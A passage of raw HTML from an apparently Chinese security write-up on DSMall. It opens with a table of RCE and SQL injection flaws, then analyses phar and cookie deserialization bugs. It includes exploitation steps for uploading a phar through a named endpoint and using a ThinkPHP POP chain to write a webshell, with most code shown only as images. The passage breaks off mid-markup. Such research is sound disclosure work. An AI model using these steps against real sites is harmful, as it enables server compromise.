等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">高</span></p></td><td width="255" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">前台注册账户</span></p></td></tr><tr><td width="263" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">远程代码执行二</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">高</span></p></td><td width="255" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">无</span></p></td></tr><tr><td width="263" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">远程代码执行三</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">高</span></p></td><td width="255" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">前台注册账户</span></p></td></tr><tr><td width="263" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">远程代码执行四</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">高</span></p></td><td width="255" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">无</span></p></td></tr><tr><td width="263" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">远程代码执行五</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">高</span></p></td><td width="255" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">无</span></p></td></tr><tr><td width="263" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">SQL注入漏洞一</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">中</span></p></td><td width="255" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">后台管理员权限</span></p></td></tr><tr><td width="263" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">SQL注入漏洞二</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">中</span></p></td><td width="255" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">后台管理员权限</span></p></td></tr><tr><td width="263" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">SQL注入漏洞三</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">高</span></p></td><td width="255" valign="middle" style="background:#F7F8F8;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">无</span></p></td></tr></tbody></table><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x04</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">漏洞分析</span></section></section></section></section></section></section><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:等线 Light;color:#444444;">远程代码执行漏洞一</span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：前台注册账户<br/>Home模块 Memberinformation控制器cut方法存在可以利用的反序列化操作，利用thinkphp 反序列化代码执行pop chain 可以写文件getshell。<br/>\application\home\controller\Memberinformation.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.43501805054151627" style="width: 553.73px;height: 240.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=aef0d6ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLcBzBYp7Hjd2SVgXpWtH4NQZPP943dIZXyUAmPUUrXdIZMC07qpeibNw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">\vendor\topthink\think-image\src\Image.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.39923954372623577" style="width: 553.73px;height: 221.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="526" src="https://wechat2rss.xlab.app/img-proxy/?k=25dc2375&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLRqSlwLaoQQtlPFCkbkicpQNib5na0mgYzPJGpzQIq5avvOq9kFLibnkaw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">$newfile = str_replace(str_replace(‘/index.php’, ‘’, BASE_SITE_URL).’/uploads’, BASE_UPLOAD_PATH, input(‘post.newfile’));</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">$newfile 来自 $_POST[‘newfile’],然后通过SplFileInfo类对象来判断文件是否存在，当该SplFileInfo类构造参数是一个phar文件的时候就会发生反序化操作，相关知识参考：</span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="https://xz.aliyun.com/t/2958。" target="_blank">https://xz.aliyun.com/t/2958。</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.7057761732851986" style="width: 553.73px;height: 390.67px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=993a6b62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLDjicsQ18TyYuRxcMsWibE8HbcZOb2tyJ7Ge7YTpgwsbAHTC7b7wufLiag%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.20577617328519857" style="width: 553.73px;height: 114.2px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=f6be58e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLdsUCosWG08kHj4EFNTA6HswXk9mvY0gqTg2Utb8icex7vn26Vkiacmtw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h3 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: 等线;margin-top: 16.8pt;margin-bottom: 13.2pt;background: rgb(255, 255, 255);"><span style="font-family:等线;color:#444444;">漏洞利用</span><span style="font-size:13.5pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">生成phar文件，然后通过前台头像或其他上传文件接口上传到目标服务器上，这里直接利用上传文件接口dsmall506/public/index.php?s=home/Snsalbum/swfupload 上传得到路径<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com/dsmall506/public/uploads/home/member/1/1_2020031616094143684.jpg" target="_blank">http://test.com/dsmall506/public/uploads/home/member/1/1_2020031616094143684.jpg</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3822463768115942" style="width: 553.73px;height: 211.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=cf14486a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLsdoeFFfN7AKVAryxm05dCwFM6NLJria6ZPMskjBYdS4ZqkUtCXH0abA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3592057761732852" style="width: 553.73px;height: 198.6px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=404f0366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLIq0Sp13EUO9icxUYf2vFu0atowvOI8x4Fn9vIsYtrUml2aSFhX7rPMw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.4981949458483754" style="width: 553.73px;height: 276.47px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=459230b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLK2iaibWqPwwzBVG9IRXewqkWXsYWwUq0iaG2QAcUHibbPibhic6emXeSUrjQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">需要注意的是：<br/>Shell 文件会直接生成在php 执行路径下，如果需要生成在web目录下，在poc文件中设置shell文件的绝对路径</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.0703971119133574" style="width: 553.73px;height: 38.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=917eb293&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLzJ7J1NawuUVEkrMAllLIkevUIAI1hQNk2FO9AOfbynkYjYocaM9CxQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:等线 Light;color:#444444;">远程代码执行漏洞二</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：无<br/>公共model\Goodsbrowse getViewedGoodsList 查看用户浏览过的商品信息，当用户处于登录状态时候直接从缓存中获取商品信息进行反序列化操作，如果尚未登录则从cookie里面获取并解密然后进行反序列化，由于cookie加解密函数的KEY是一个固定的值，写死在代码中，因此反序列化函数unserialize的参数可以被我们控制，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.<br/>\application\common\model\Goodsbrowse.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.33754512635379064" style="width: 553.73px;height: 187.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ff4da9b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLRKWQlvw6dwQazWBLRQiaibF5aynMaRMjhvULyTtbgftv0DNGKSgc7MDw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">\application\common.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.30324909747292417" style="width: 553.73px;height: 168px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=a28317cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLsAr1dm1sbx0F4JD80Q54QMhYcibvPAT0TCmPYoic7vMWUOrGAqPpLiaNg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">\application\common_global.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.19855595667870035" style="width: 553.73px;height: 110.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" 